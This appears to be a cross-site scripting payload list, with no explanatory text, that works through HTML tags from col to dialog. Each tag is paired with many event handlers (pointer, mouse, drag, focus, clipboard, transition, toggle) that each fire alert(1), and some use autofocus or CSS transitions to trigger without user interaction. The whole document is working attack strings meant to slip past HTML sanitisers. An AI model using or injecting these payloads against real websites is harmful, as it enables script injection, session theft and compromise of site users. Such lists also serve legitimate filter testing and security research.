<col onpointermove=alert(1) style=display:block>XSS</col>
<col onpointerout=alert(1) style=display:block>XSS</col>
<col onpointerover=alert(1) style=display:block>XSS</col>
<col onpointerrawupdate=alert(1) style=display:block>XSS</col>
<col onpointerup=alert(1) style=display:block>XSS</col>
<col onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></col>
<colgroup contenteditable onbeforeinput=alert(1)>test
<colgroup draggable="true" ondrag="alert(1)" style=display:block>test</colgroup>
<colgroup draggable="true" ondragend="alert(1)" style=display:block>test</colgroup>
<colgroup draggable="true" ondragenter="alert(1)" style=display:block>test</colgroup>
<colgroup draggable="true" ondragleave="alert(1)" style=display:block>test</colgroup>
<colgroup draggable="true" ondragstart="alert(1)" style=display:block>test</colgroup>
<colgroup id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></colgroup>
<colgroup id=x tabindex=1 onfocus=alert(1)></colgroup>
<colgroup id=x tabindex=1 onfocusin=alert(1)></colgroup>
<colgroup onafterscriptexecute=alert(1)><script>1</script>
<colgroup onbeforecopy="alert(1)" contenteditable>test</colgroup>
<colgroup onbeforecut="alert(1)" contenteditable>test</colgroup>
<colgroup onbeforescriptexecute=alert(1)><script>1</script>
<colgroup onblur=alert(1) id=x tabindex=1 style=display:block>test</colgroup><input value=clickme>
<colgroup onclick="alert(1)" style=display:block>test</colgroup>
<colgroup oncontextmenu="alert(1)" style=display:block>test</colgroup>
<colgroup oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<colgroup oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<colgroup ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</colgroup>
<colgroup onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</colgroup><input value=clickme>
<colgroup onkeydown="alert(1)" contenteditable style=display:block>test</colgroup>
<colgroup onkeypress="alert(1)" contenteditable style=display:block>test</colgroup>
<colgroup onkeyup="alert(1)" contenteditable style=display:block>test</colgroup>
<colgroup onmousedown="alert(1)" style=display:block>test</colgroup>
<colgroup onmouseenter="alert(1)" style=display:block>test</colgroup>
<colgroup onmouseleave="alert(1)" style=display:block>test</colgroup>
<colgroup onmousemove="alert(1)" style=display:block>test</colgroup>
<colgroup onmouseout="alert(1)" style=display:block>test</colgroup>
<colgroup onmouseover="alert(1)" style=display:block>test</colgroup>
<colgroup onmouseup="alert(1)" style=display:block>test</colgroup>
<colgroup onmousewheel=alert(1) style=display:block>requires scrolling
<colgroup onpaste="alert(1)" contenteditable>test</colgroup>
<colgroup onpointerdown=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointerenter=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointerleave=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointermove=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointerout=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointerover=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointerrawupdate=alert(1) style=display:block>XSS</colgroup>
<colgroup onpointerup=alert(1) style=display:block>XSS</colgroup>
<colgroup onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></colgroup>
<command contenteditable onbeforeinput=alert(1)>test
<command draggable="true" ondrag="alert(1)" style=display:block>test</command>
<command draggable="true" ondragend="alert(1)" style=display:block>test</command>
<command draggable="true" ondragenter="alert(1)" style=display:block>test</command>
<command draggable="true" ondragleave="alert(1)" style=display:block>test</command>
<command draggable="true" ondragstart="alert(1)" style=display:block>test</command>
<command id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></command>
<command id=x tabindex=1 onfocus=alert(1)></command>
<command id=x tabindex=1 onfocusin=alert(1)></command>
<command onafterscriptexecute=alert(1)><script>1</script>
<command onbeforecopy="alert(1)" contenteditable>test</command>
<command onbeforecut="alert(1)" contenteditable>test</command>
<command onbeforescriptexecute=alert(1)><script>1</script>
<command onblur=alert(1) id=x tabindex=1 style=display:block>test</command><input value=clickme>
<command onclick="alert(1)" style=display:block>test</command>
<command oncontextmenu="alert(1)" style=display:block>test</command>
<command oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<command oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<command ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</command>
<command onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</command><input value=clickme>
<command onkeydown="alert(1)" contenteditable style=display:block>test</command>
<command onkeypress="alert(1)" contenteditable style=display:block>test</command>
<command onkeyup="alert(1)" contenteditable style=display:block>test</command>
<command onmousedown="alert(1)" style=display:block>test</command>
<command onmouseenter="alert(1)" style=display:block>test</command>
<command onmouseleave="alert(1)" style=display:block>test</command>
<command onmousemove="alert(1)" style=display:block>test</command>
<command onmouseout="alert(1)" style=display:block>test</command>
<command onmouseover="alert(1)" style=display:block>test</command>
<command onmouseup="alert(1)" style=display:block>test</command>
<command onmousewheel=alert(1) style=display:block>requires scrolling
<command onpaste="alert(1)" contenteditable>test</command>
<command onpointerdown=alert(1) style=display:block>XSS</command>
<command onpointerenter=alert(1) style=display:block>XSS</command>
<command onpointerleave=alert(1) style=display:block>XSS</command>
<command onpointermove=alert(1) style=display:block>XSS</command>
<command onpointerout=alert(1) style=display:block>XSS</command>
<command onpointerover=alert(1) style=display:block>XSS</command>
<command onpointerrawupdate=alert(1) style=display:block>XSS</command>
<command onpointerup=alert(1) style=display:block>XSS</command>
<command onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></command>
<content contenteditable onbeforeinput=alert(1)>test
<content draggable="true" ondrag="alert(1)" style=display:block>test</content>
<content draggable="true" ondragend="alert(1)" style=display:block>test</content>
<content draggable="true" ondragenter="alert(1)" style=display:block>test</content>
<content draggable="true" ondragleave="alert(1)" style=display:block>test</content>
<content draggable="true" ondragstart="alert(1)" style=display:block>test</content>
<content id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></content>
<content id=x tabindex=1 onfocus=alert(1)></content>
<content id=x tabindex=1 onfocusin=alert(1)></content>
<content onafterscriptexecute=alert(1)><script>1</script>
<content onbeforecopy="alert(1)" contenteditable>test</content>
<content onbeforecut="alert(1)" contenteditable>test</content>
<content onbeforescriptexecute=alert(1)><script>1</script>
<content onblur=alert(1) id=x tabindex=1 style=display:block>test</content><input value=clickme>
<content onclick="alert(1)" style=display:block>test</content>
<content oncontextmenu="alert(1)" style=display:block>test</content>
<content oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<content oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<content ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</content>
<content onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</content><input value=clickme>
<content onkeydown="alert(1)" contenteditable style=display:block>test</content>
<content onkeypress="alert(1)" contenteditable style=display:block>test</content>
<content onkeyup="alert(1)" contenteditable style=display:block>test</content>
<content onmousedown="alert(1)" style=display:block>test</content>
<content onmouseenter="alert(1)" style=display:block>test</content>
<content onmouseleave="alert(1)" style=display:block>test</content>
<content onmousemove="alert(1)" style=display:block>test</content>
<content onmouseout="alert(1)" style=display:block>test</content>
<content onmouseover="alert(1)" style=display:block>test</content>
<content onmouseup="alert(1)" style=display:block>test</content>
<content onmousewheel=alert(1) style=display:block>requires scrolling
<content onpaste="alert(1)" contenteditable>test</content>
<content onpointerdown=alert(1) style=display:block>XSS</content>
<content onpointerenter=alert(1) style=display:block>XSS</content>
<content onpointerleave=alert(1) style=display:block>XSS</content>
<content onpointermove=alert(1) style=display:block>XSS</content>
<content onpointerout=alert(1) style=display:block>XSS</content>
<content onpointerover=alert(1) style=display:block>XSS</content>
<content onpointerrawupdate=alert(1) style=display:block>XSS</content>
<content onpointerup=alert(1) style=display:block>XSS</content>
<content onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></content>
<custom tags contenteditable onbeforeinput=alert(1)>test
<custom tags draggable="true" ondrag="alert(1)" style=display:block>test</custom tags>
<custom tags draggable="true" ondragend="alert(1)" style=display:block>test</custom tags>
<custom tags draggable="true" ondragenter="alert(1)" style=display:block>test</custom tags>
<custom tags draggable="true" ondragleave="alert(1)" style=display:block>test</custom tags>
<custom tags draggable="true" ondragstart="alert(1)" style=display:block>test</custom tags>
<custom tags id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></custom tags>
<custom tags onafterscriptexecute=alert(1)><script>1</script>
<custom tags onbeforescriptexecute=alert(1)><script>1</script>
<custom tags onblur=alert(1) id=x tabindex=1 style=display:block>test</custom tags><input value=clickme>
<custom tags onclick="alert(1)" style=display:block>test</custom tags>
<custom tags oncontextmenu="alert(1)" style=display:block>test</custom tags>
<custom tags oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<custom tags oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<custom tags ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</custom tags>
<custom tags onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</custom tags><input value=clickme>
<custom tags onkeydown="alert(1)" contenteditable style=display:block>test</custom tags>
<custom tags onkeypress="alert(1)" contenteditable style=display:block>test</custom tags>
<custom tags onkeyup="alert(1)" contenteditable style=display:block>test</custom tags>
<custom tags onmousedown="alert(1)" style=display:block>test</custom tags>
<custom tags onmouseenter="alert(1)" style=display:block>test</custom tags>
<custom tags onmouseleave="alert(1)" style=display:block>test</custom tags>
<custom tags onmousemove="alert(1)" style=display:block>test</custom tags>
<custom tags onmouseout="alert(1)" style=display:block>test</custom tags>
<custom tags onmouseover="alert(1)" style=display:block>test</custom tags>
<custom tags onmouseup="alert(1)" style=display:block>test</custom tags>
<custom tags onmousewheel=alert(1) style=display:block>requires scrolling
<custom tags onpointerdown=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointerenter=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointerleave=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointermove=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointerout=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointerover=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointerrawupdate=alert(1) style=display:block>XSS</custom tags>
<custom tags onpointerup=alert(1) style=display:block>XSS</custom tags>
<custom tags onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></custom tags>
<data contenteditable onbeforeinput=alert(1)>test
<data draggable="true" ondrag="alert(1)" style=display:block>test</data>
<data draggable="true" ondragend="alert(1)" style=display:block>test</data>
<data draggable="true" ondragenter="alert(1)" style=display:block>test</data>
<data draggable="true" ondragleave="alert(1)" style=display:block>test</data>
<data draggable="true" ondragstart="alert(1)" style=display:block>test</data>
<data id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></data>
<data id=x tabindex=1 onfocus=alert(1)></data>
<data id=x tabindex=1 onfocusin=alert(1)></data>
<data onafterscriptexecute=alert(1)><script>1</script>
<data onbeforecopy="alert(1)" contenteditable>test</data>
<data onbeforecut="alert(1)" contenteditable>test</data>
<data onbeforescriptexecute=alert(1)><script>1</script>
<data onblur=alert(1) id=x tabindex=1 style=display:block>test</data><input value=clickme>
<data onclick="alert(1)" style=display:block>test</data>
<data oncontextmenu="alert(1)" style=display:block>test</data>
<data oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<data oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<data ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</data>
<data onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</data><input value=clickme>
<data onkeydown="alert(1)" contenteditable style=display:block>test</data>
<data onkeypress="alert(1)" contenteditable style=display:block>test</data>
<data onkeyup="alert(1)" contenteditable style=display:block>test</data>
<data onmousedown="alert(1)" style=display:block>test</data>
<data onmouseenter="alert(1)" style=display:block>test</data>
<data onmouseleave="alert(1)" style=display:block>test</data>
<data onmousemove="alert(1)" style=display:block>test</data>
<data onmouseout="alert(1)" style=display:block>test</data>
<data onmouseover="alert(1)" style=display:block>test</data>
<data onmouseup="alert(1)" style=display:block>test</data>
<data onmousewheel=alert(1) style=display:block>requires scrolling
<data onpaste="alert(1)" contenteditable>test</data>
<data onpointerdown=alert(1) style=display:block>XSS</data>
<data onpointerenter=alert(1) style=display:block>XSS</data>
<data onpointerleave=alert(1) style=display:block>XSS</data>
<data onpointermove=alert(1) style=display:block>XSS</data>
<data onpointerout=alert(1) style=display:block>XSS</data>
<data onpointerover=alert(1) style=display:block>XSS</data>
<data onpointerrawupdate=alert(1) style=display:block>XSS</data>
<data onpointerup=alert(1) style=display:block>XSS</data>
<data onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></data>
<datalist contenteditable onbeforeinput=alert(1)>test
<datalist draggable="true" ondrag="alert(1)" style=display:block>test</datalist>
<datalist draggable="true" ondragend="alert(1)" style=display:block>test</datalist>
<datalist draggable="true" ondragenter="alert(1)" style=display:block>test</datalist>
<datalist draggable="true" ondragleave="alert(1)" style=display:block>test</datalist>
<datalist draggable="true" ondragstart="alert(1)" style=display:block>test</datalist>
<datalist id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></datalist>
<datalist id=x tabindex=1 onfocus=alert(1)></datalist>
<datalist id=x tabindex=1 onfocusin=alert(1)></datalist>
<datalist onafterscriptexecute=alert(1)><script>1</script>
<datalist onbeforecopy="alert(1)" contenteditable>test</datalist>
<datalist onbeforecut="alert(1)" contenteditable>test</datalist>
<datalist onbeforescriptexecute=alert(1)><script>1</script>
<datalist onblur=alert(1) id=x tabindex=1 style=display:block>test</datalist><input value=clickme>
<datalist onclick="alert(1)" style=display:block>test</datalist>
<datalist oncontextmenu="alert(1)" style=display:block>test</datalist>
<datalist oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<datalist oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<datalist ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</datalist>
<datalist onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</datalist><input value=clickme>
<datalist onkeydown="alert(1)" contenteditable style=display:block>test</datalist>
<datalist onkeypress="alert(1)" contenteditable style=display:block>test</datalist>
<datalist onkeyup="alert(1)" contenteditable style=display:block>test</datalist>
<datalist onmousedown="alert(1)" style=display:block>test</datalist>
<datalist onmouseenter="alert(1)" style=display:block>test</datalist>
<datalist onmouseleave="alert(1)" style=display:block>test</datalist>
<datalist onmousemove="alert(1)" style=display:block>test</datalist>
<datalist onmouseout="alert(1)" style=display:block>test</datalist>
<datalist onmouseover="alert(1)" style=display:block>test</datalist>
<datalist onmouseup="alert(1)" style=display:block>test</datalist>
<datalist onmousewheel=alert(1) style=display:block>requires scrolling
<datalist onpaste="alert(1)" contenteditable>test</datalist>
<datalist onpointerdown=alert(1) style=display:block>XSS</datalist>
<datalist onpointerenter=alert(1) style=display:block>XSS</datalist>
<datalist onpointerleave=alert(1) style=display:block>XSS</datalist>
<datalist onpointermove=alert(1) style=display:block>XSS</datalist>
<datalist onpointerout=alert(1) style=display:block>XSS</datalist>
<datalist onpointerover=alert(1) style=display:block>XSS</datalist>
<datalist onpointerrawupdate=alert(1) style=display:block>XSS</datalist>
<datalist onpointerup=alert(1) style=display:block>XSS</datalist>
<datalist onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></datalist>
<dd contenteditable onbeforeinput=alert(1)>test
<dd draggable="true" ondrag="alert(1)" style=display:block>test</dd>
<dd draggable="true" ondragend="alert(1)" style=display:block>test</dd>
<dd draggable="true" ondragenter="alert(1)" style=display:block>test</dd>
<dd draggable="true" ondragleave="alert(1)" style=display:block>test</dd>
<dd draggable="true" ondragstart="alert(1)" style=display:block>test</dd>
<dd id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></dd>
<dd id=x tabindex=1 onfocus=alert(1)></dd>
<dd id=x tabindex=1 onfocusin=alert(1)></dd>
<dd onafterscriptexecute=alert(1)><script>1</script>
<dd onbeforecopy="alert(1)" contenteditable>test</dd>
<dd onbeforecut="alert(1)" contenteditable>test</dd>
<dd onbeforescriptexecute=alert(1)><script>1</script>
<dd onblur=alert(1) id=x tabindex=1 style=display:block>test</dd><input value=clickme>
<dd onclick="alert(1)" style=display:block>test</dd>
<dd oncontextmenu="alert(1)" style=display:block>test</dd>
<dd oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dd oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dd ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</dd>
<dd onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</dd><input value=clickme>
<dd onkeydown="alert(1)" contenteditable style=display:block>test</dd>
<dd onkeypress="alert(1)" contenteditable style=display:block>test</dd>
<dd onkeyup="alert(1)" contenteditable style=display:block>test</dd>
<dd onmousedown="alert(1)" style=display:block>test</dd>
<dd onmouseenter="alert(1)" style=display:block>test</dd>
<dd onmouseleave="alert(1)" style=display:block>test</dd>
<dd onmousemove="alert(1)" style=display:block>test</dd>
<dd onmouseout="alert(1)" style=display:block>test</dd>
<dd onmouseover="alert(1)" style=display:block>test</dd>
<dd onmouseup="alert(1)" style=display:block>test</dd>
<dd onmousewheel=alert(1) style=display:block>requires scrolling
<dd onpaste="alert(1)" contenteditable>test</dd>
<dd onpointerdown=alert(1) style=display:block>XSS</dd>
<dd onpointerenter=alert(1) style=display:block>XSS</dd>
<dd onpointerleave=alert(1) style=display:block>XSS</dd>
<dd onpointermove=alert(1) style=display:block>XSS</dd>
<dd onpointerout=alert(1) style=display:block>XSS</dd>
<dd onpointerover=alert(1) style=display:block>XSS</dd>
<dd onpointerrawupdate=alert(1) style=display:block>XSS</dd>
<dd onpointerup=alert(1) style=display:block>XSS</dd>
<dd onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></dd>
<del contenteditable onbeforeinput=alert(1)>test
<del draggable="true" ondrag="alert(1)" style=display:block>test</del>
<del draggable="true" ondragend="alert(1)" style=display:block>test</del>
<del draggable="true" ondragenter="alert(1)" style=display:block>test</del>
<del draggable="true" ondragleave="alert(1)" style=display:block>test</del>
<del draggable="true" ondragstart="alert(1)" style=display:block>test</del>
<del id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></del>
<del id=x tabindex=1 onfocus=alert(1)></del>
<del id=x tabindex=1 onfocusin=alert(1)></del>
<del onafterscriptexecute=alert(1)><script>1</script>
<del onbeforecopy="alert(1)" contenteditable>test</del>
<del onbeforecut="alert(1)" contenteditable>test</del>
<del onbeforescriptexecute=alert(1)><script>1</script>
<del onblur=alert(1) id=x tabindex=1 style=display:block>test</del><input value=clickme>
<del onclick="alert(1)" style=display:block>test</del>
<del oncontextmenu="alert(1)" style=display:block>test</del>
<del oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<del oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<del ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</del>
<del onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</del><input value=clickme>
<del onkeydown="alert(1)" contenteditable style=display:block>test</del>
<del onkeypress="alert(1)" contenteditable style=display:block>test</del>
<del onkeyup="alert(1)" contenteditable style=display:block>test</del>
<del onmousedown="alert(1)" style=display:block>test</del>
<del onmouseenter="alert(1)" style=display:block>test</del>
<del onmouseleave="alert(1)" style=display:block>test</del>
<del onmousemove="alert(1)" style=display:block>test</del>
<del onmouseout="alert(1)" style=display:block>test</del>
<del onmouseover="alert(1)" style=display:block>test</del>
<del onmouseup="alert(1)" style=display:block>test</del>
<del onmousewheel=alert(1) style=display:block>requires scrolling
<del onpaste="alert(1)" contenteditable>test</del>
<del onpointerdown=alert(1) style=display:block>XSS</del>
<del onpointerenter=alert(1) style=display:block>XSS</del>
<del onpointerleave=alert(1) style=display:block>XSS</del>
<del onpointermove=alert(1) style=display:block>XSS</del>
<del onpointerout=alert(1) style=display:block>XSS</del>
<del onpointerover=alert(1) style=display:block>XSS</del>
<del onpointerrawupdate=alert(1) style=display:block>XSS</del>
<del onpointerup=alert(1) style=display:block>XSS</del>
<del onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></del>
<details contenteditable onbeforeinput=alert(1)>test
<details draggable="true" ondrag="alert(1)" style=display:block>test</details>
<details draggable="true" ondragend="alert(1)" style=display:block>test</details>
<details draggable="true" ondragenter="alert(1)" style=display:block>test</details>
<details draggable="true" ondragleave="alert(1)" style=display:block>test</details>
<details draggable="true" ondragstart="alert(1)" style=display:block>test</details>
<details id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></details>
<details id=x tabindex=1 onfocus=alert(1)></details>
<details id=x tabindex=1 onfocusin=alert(1)></details>
<details onafterscriptexecute=alert(1)><script>1</script>
<details onbeforecopy="alert(1)" contenteditable>test</details>
<details onbeforecut="alert(1)" contenteditable>test</details>
<details onbeforescriptexecute=alert(1)><script>1</script>
<details onblur=alert(1) id=x tabindex=1 style=display:block>test</details><input value=clickme>
<details onclick="alert(1)" style=display:block>test</details>
<details oncontextmenu="alert(1)" style=display:block>test</details>
<details oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<details oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<details ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</details>
<details onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</details><input value=clickme>
<details onkeydown="alert(1)" contenteditable style=display:block>test</details>
<details onkeypress="alert(1)" contenteditable style=display:block>test</details>
<details onkeyup="alert(1)" contenteditable style=display:block>test</details>
<details onmousedown="alert(1)" style=display:block>test</details>
<details onmouseenter="alert(1)" style=display:block>test</details>
<details onmouseleave="alert(1)" style=display:block>test</details>
<details onmousemove="alert(1)" style=display:block>test</details>
<details onmouseout="alert(1)" style=display:block>test</details>
<details onmouseover="alert(1)" style=display:block>test</details>
<details onmouseup="alert(1)" style=display:block>test</details>
<details onmousewheel=alert(1) style=display:block>requires scrolling
<details onpaste="alert(1)" contenteditable>test</details>
<details onpointerdown=alert(1) style=display:block>XSS</details>
<details onpointerenter=alert(1) style=display:block>XSS</details>
<details onpointerleave=alert(1) style=display:block>XSS</details>
<details onpointermove=alert(1) style=display:block>XSS</details>
<details onpointerout=alert(1) style=display:block>XSS</details>
<details onpointerover=alert(1) style=display:block>XSS</details>
<details onpointerrawupdate=alert(1) style=display:block>XSS</details>
<details onpointerup=alert(1) style=display:block>XSS</details>
<details onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></details>
<details ontoggle=alert(1) open>test</details>
<dfn contenteditable onbeforeinput=alert(1)>test
<dfn draggable="true" ondrag="alert(1)" style=display:block>test</dfn>
<dfn draggable="true" ondragend="alert(1)" style=display:block>test</dfn>
<dfn draggable="true" ondragenter="alert(1)" style=display:block>test</dfn>
<dfn draggable="true" ondragleave="alert(1)" style=display:block>test</dfn>
<dfn draggable="true" ondragstart="alert(1)" style=display:block>test</dfn>
<dfn id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></dfn>
<dfn id=x tabindex=1 onfocus=alert(1)></dfn>
<dfn id=x tabindex=1 onfocusin=alert(1)></dfn>
<dfn onafterscriptexecute=alert(1)><script>1</script>
<dfn onbeforecopy="alert(1)" contenteditable>test</dfn>
<dfn onbeforecut="alert(1)" contenteditable>test</dfn>
<dfn onbeforescriptexecute=alert(1)><script>1</script>
<dfn onblur=alert(1) id=x tabindex=1 style=display:block>test</dfn><input value=clickme>
<dfn onclick="alert(1)" style=display:block>test</dfn>
<dfn oncontextmenu="alert(1)" style=display:block>test</dfn>
<dfn oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dfn oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dfn ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</dfn>
<dfn onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</dfn><input value=clickme>
<dfn onkeydown="alert(1)" contenteditable style=display:block>test</dfn>
<dfn onkeypress="alert(1)" contenteditable style=display:block>test</dfn>
<dfn onkeyup="alert(1)" contenteditable style=display:block>test</dfn>
<dfn onmousedown="alert(1)" style=display:block>test</dfn>
<dfn onmouseenter="alert(1)" style=display:block>test</dfn>
<dfn onmouseleave="alert(1)" style=display:block>test</dfn>
<dfn onmousemove="alert(1)" style=display:block>test</dfn>
<dfn onmouseout="alert(1)" style=display:block>test</dfn>
<dfn onmouseover="alert(1)" style=display:block>test</dfn>
<dfn onmouseup="alert(1)" style=display:block>test</dfn>
<dfn onmousewheel=alert(1) style=display:block>requires scrolling
<dfn onpaste="alert(1)" contenteditable>test</dfn>
<dfn onpointerdown=alert(1) style=display:block>XSS</dfn>
<dfn onpointerenter=alert(1) style=display:block>XSS</dfn>
<dfn onpointerleave=alert(1) style=display:block>XSS</dfn>
<dfn onpointermove=alert(1) style=display:block>XSS</dfn>
<dfn onpointerout=alert(1) style=display:block>XSS</dfn>
<dfn onpointerover=alert(1) style=display:block>XSS</dfn>
<dfn onpointerrawupdate=alert(1) style=display:block>XSS</dfn>
<dfn onpointerup=alert(1) style=display:block>XSS</dfn>
<dfn onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></dfn>
<dialog contenteditable onbeforeinput=alert(1)>test
<dialog draggable="true" ondrag="alert(1)" style=display:block>test</dialog>
<dialog draggable="true" ondragend="alert(1)" style=display:block>test</dialog>
<dialog draggable="true" ondragenter="alert(1)" style=display:block>test</dialog>
<dialog draggable="true" ondragleave="alert(1)" style=display:block>test</dialog>
<dialog draggable="true" ondragstart="alert(1)" style=display:block>test</dialog>
<dialog id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></dialog>
<dialog id=x tabindex=1 onfocus=alert(1)></dialog>
<dialog id=x tabindex=1 onfocusin=alert(1)></dialog>
<dialog onafterscriptexecute=alert(1)><script>1</script>
<dialog onbeforecopy="alert(1)" contenteditable>test</dialog>
<dialog onbeforecut="alert(1)" contenteditable>test</dialog>
<dialog onbeforescriptexecute=alert(1)><script>1</script>
<dialog onblur=alert(1) id=x tabindex=1 style=display:block>test</dialog><input value=clickme>
<dialog onclick="alert(1)" style=display:block>test</dialog>
<dialog oncontextmenu="alert(1)" style=display:block>test</dialog>
<dialog oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dialog oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<dialog ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</dialog>
<dialog onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</dialog><input value=clickme>
<dialog onkeydown="alert(1)" contenteditable style=display:block>test</dialog>
<dialog onkeypress="alert(1)" contenteditable style=display:block>test</dialog>
<dialog onkeyup="alert(1)" contenteditable style=display:block>test</dialog>
<dialog onmousedown="alert(1)" style=display:block>test</dialog>
<dialog onmouseenter="alert(1)" style=display:block>test</dialog>
<dialog onmouseleave="alert(1)" style=display:block>test</dialog>
<dialog onmousemove="alert(1)" style=display:block>test</dialog>
<dialog onmouseout="alert(1)" style=display:block>test</dialog>
<dialog onmouseover="alert(1)" style=display:block>test</dialog>
<dialog onmouseup="alert(1)" style=display:block>test</dialog>
<dialog onmousewheel=alert(1) style=display:block>requires scrolling
<dialog onpaste="alert(1)" contenteditable>test</dialog>
<dialog onpointerdown=alert(1) style=display:block>XSS</dialog>
<dialog onpointerenter=alert(1) style=display:block>XSS</dialog>
<dialog onpointerleave=alert(1) style=display:block>XSS</dialog>
<dialog onpointermove=alert(1) style=display:block>XSS</dialog>
<dialog onpointerout=alert(1) style=display:block>XSS</dialog>
<dialog onpointerover=alert(1) style=display:block>XSS</dialog>
<dialog onpointerrawupdate=alert(1) style=display:block>XSS</dialog>
<dialog onpointerup=alert(1) style=display:block>XSS</dialog>
